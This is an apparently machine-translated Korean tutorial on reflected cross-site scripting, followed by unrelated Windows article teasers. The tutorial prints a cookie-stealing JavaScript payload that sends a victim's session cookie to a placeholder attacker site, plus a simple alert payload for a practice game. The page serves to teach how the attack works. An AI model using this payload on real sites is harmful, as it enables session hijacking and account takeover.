Web7: XSS 공격 – 1부: 반사된 XSS

Web7: XSS 공격 – 1부: 반사된 XSS

교차 사이트 스크립팅이란 무엇입니까?

XSS( 교차 사이트 스크립팅 )는 공격의 대부로 알려진 오늘날 가장 널리 사용되는 공격 기술 중 하나이며 수년 동안 애플리케이션 웹에 대한 가장 위험한 공격 기술로 선정되었습니다.

HTML의 Cascading Style Sheet 개념과 혼동을 피하기 위해 줄여서 CSS라고 부르지 마십시오. XSS
기술은

더 잘 이해하기 위해 다음 예를 고려해 보겠습니다. name 변수에 Ping 값을 전달한다고 가정하고 URL을 통해 전달한 값을 인쇄할 수 있는 웹 애플리케이션:

Web7: XSS 공격 – 1부: 반사된 XSS

지금까지는 모든 것이 괜찮습니다. HTML 소스 코드를 검토해 보겠습니다.

Web7: XSS 공격 – 1부: 반사된 XSS

쉽게 볼 수 있는 것은 우리가 입력한 이름 값이 소스 코드에 삽입되었다는 점입니다. 따라서 가져온 항목을 삽입할 수도 있습니다. 입력한 값이 위와 같은 일반 문자열이 아니지만 다음과 같이 잠재적으로 위험한 코드 조각인 경우 문제는 심각해집니다.

 

위의 값으로 다시 시도하세요.

Web7: XSS 공격 – 1부: 반사된 XSS

이 예에서 우리는 두 가지 결론을 내릴 수 있습니다. 첫째, name 변수는 어떤 입력값이라도 받아서 처리를 위해 서버로 전송할 수 있습니다. 둘째, 서버는 이 입력 값을 브라우저에 반환하기 전에 이를 제어하지 않았습니다. 그러면 소스 코드에 자바스크립트 코드가 삽입됩니다.

XSS는 일반적으로 Reflected, Stored 및 DOM 기반의 3가지 주요 유형으로 나뉩니다. 이 기사에서는 주로 Reflected XSS 기술을 언급할 것입니다.

XSS 기술의 최대 75%는 Reflected XSS를 기반으로 합니다. 이러한 유형의 악용 시나리오에서는 해커가 피해자에게 악성 코드(일반적으로 자바스크립트)가 포함된 URL을 보내야 하기 때문에 반영이라고 합니다. 피해자는 이 URL만 요청하면 해커는 원하는 결과(여기에 표시된 반사성)가 포함된 응답을 즉시 받게 됩니다. 또한 1차 XSS라고도 합니다.

실제 채굴 시나리오

Reflected XSS 오류를 악용하는 방법은 여러 가지가 있으며, 가장 잘 알려진 방법 중 하나는 사용자 세션을 장악하여 데이터에 액세스하고 웹 사이트에 대한 권리를 얻는 것입니다.

자세한 내용은 다음 단계에서 설명됩니다.

Web7: XSS 공격 – 1부: 반사된 XSS

1. 사용자는 웹에 로그인하고 세션이 할당되었다고 가정합니다.

Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

2. 해커는 어떤 식으로든 사용자에게 다음 URL을 보냅니다.

http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;

example.com이 피해자가 방문하는 웹사이트이고, hacker-site.net이 해커가 만든 사이트라고 가정해 보겠습니다.

3. 피해자는 위의 URL에 접속합니다.

4. 서버는 요청에 포함된 데이터(해커의 자바스크립트 조각)와 함께 피해자에게 응답합니다.

5. 피해자 브라우저는 응답을 수신하고 자바스크립트를 실행합니다.

6. 해커가 실제로 작성한 자바스크립트는 다음과 같습니다.

var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

위 명령줄은 기본적으로 사용자 쿠키 매개변수를 사용하여 해커 사이트에 요청을 보냅니다.

GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net

7. 해커는 귀하의 사이트에서 위의 요청 내용을 포착하고 사용자의 세션을 장악할 것으로 간주합니다. 이 시점에서 해커는 피해자를 사칭하여 피해자가 갖고 있는 웹사이트에 대한 모든 권리를 행사할 수 있다.

관행

Google은 여기에서 XSS 오류 활용을 연습할 수 있는 페이지를 만들었습니다: https://xss-game.appspot.com

이러한 챌린지의 목표는 스크립트를 삽입하여 팝업을 표시해야 한다는 것입니다. 첫 번째 과제는 반영된 기술을 설명하는 것입니다. 공격 코드는 매우 간단합니다.

https://xss-game.appspot.com/level1/frame?query=alert('pwned')

행운을 빌어요!


Windows 10 1주년 업데이트 후 메모리 공간 확보

Windows 10 1주년 업데이트 후 메모리 공간 확보

Windows 10 버전을 Windows 10 1주년 업데이트(버전 1607)로 업그레이드하면 Windows 10에서는 사용자가 제거할 수 있도록 이전 Windows 10 버전의 백업을 Windows.old라는 폴더에 자동으로 생성합니다. 이전 버전의 Windows 10.

802.11b 장치가 WiFi 네트워크 속도를 저하시키는 이유는 무엇입니까?

802.11b 장치가 WiFi 네트워크 속도를 저하시키는 이유는 무엇입니까?

즉, Wi-Fi 속도는 Wi-Fi 위치부터 집에 있는 전자레인지에 이르기까지 다양한 요인에 따라 달라집니다. 하지만 네트워크에서 802.11b 프로토콜을 실행하는 오래된 장치로 인해 속도가 느려질 수 있습니까?

Windows 10에서 최신 대기 모드가 연결되었거나 연결 해제되었는지 확인하는 방법

Windows 10에서 최신 대기 모드가 연결되었거나 연결 해제되었는지 확인하는 방법

이 가이드에서는 Windows 10의 대기 모드에 있을 때 Modern Standby가 Wi-Fi에 연결되어 있는지 또는 연결이 끊어졌는지 확인하는 방법을 보여줍니다.

WAN 포트와 LAN 포트의 차이점

WAN 포트와 LAN 포트의 차이점

무선 라우터를 살펴보면 일반적으로 장치의 일부 포트 옆에 LAN 및 WAN이라는 약어가 표시될 수 있습니다. LAN은 근거리 통신망(Local Area Network)을 나타내고 WAN은 광역 통신망(Wide Area Network)을 나타냅니다. 그렇다면 이 두 가지 유형의 포트의 차이점은 무엇입니까? 다음 글을 통해 퀀트리망과 함께 알아볼까요!

Windows 10/11에 매우 멋진 Doctor Strange 테마를 설치하는 방법

Windows 10/11에 매우 멋진 Doctor Strange 테마를 설치하는 방법

아주 멋지고 아주 멋진 Windows 10/11용 Doctor Stranger 테마입니다.

VPN이 랜섬웨어로부터 사용자를 보호할 수 있나요?

VPN이 랜섬웨어로부터 사용자를 보호할 수 있나요?

VPN은 온라인에서 자신을 보호하는 데 널리 사용되는 도구입니다. 따라서 랜섬웨어로부터 보호할 수 있는지 궁금할 것입니다.

Windows 10에서 거대한 WinSxS 폴더를 관리하는 방법

Windows 10에서 거대한 WinSxS 폴더를 관리하는 방법

이는 WinSxS에 설치된 파일이 정확히 무엇이며 왜 그렇게 큰지에 대한 의문을 제기합니다. 다음 글을 통해 WinSxS의 비밀과 이 폴더를 관리하는 방법을 풀어보겠습니다.

Windows 10에서 각 응용 프로그램에 대해 별도의 비밀번호를 설정하는 방법

Windows 10에서 각 응용 프로그램에 대해 별도의 비밀번호를 설정하는 방법

때로는 다른 사람이 귀하의 PC에서 특정 응용 프로그램이나 게임을 사용하는 것을 원하지 않지만 적절한 솔루션을 찾을 수 없는 상황에 직면합니다. Windows 10을 사용하면 원하는 모든 응용 프로그램을 쉽게 잠글 수 있습니다.

Windows 10 작업 표시줄에 매력적인 효과를 추가하는 방법

Windows 10 작업 표시줄에 매력적인 효과를 추가하는 방법

작업 표시줄에 매력적인 효과를 추가하려는 경우 RainbowTaskbar 및 NiceTaskbar 응용 프로그램이 도움이 될 수 있습니다.

Format 명령을 사용하여 하드 드라이브에 0을 쓰는 방법

Format 명령을 사용하여 하드 드라이브에 0을 쓰는 방법

모든 데이터를 지우기 위해 하드 드라이브에 0을 쓰는(Write Zero) 쉬운 방법은 명령 프롬프트의 format 명령을 사용하여 특별한 방법으로 드라이브를 포맷하는 것입니다.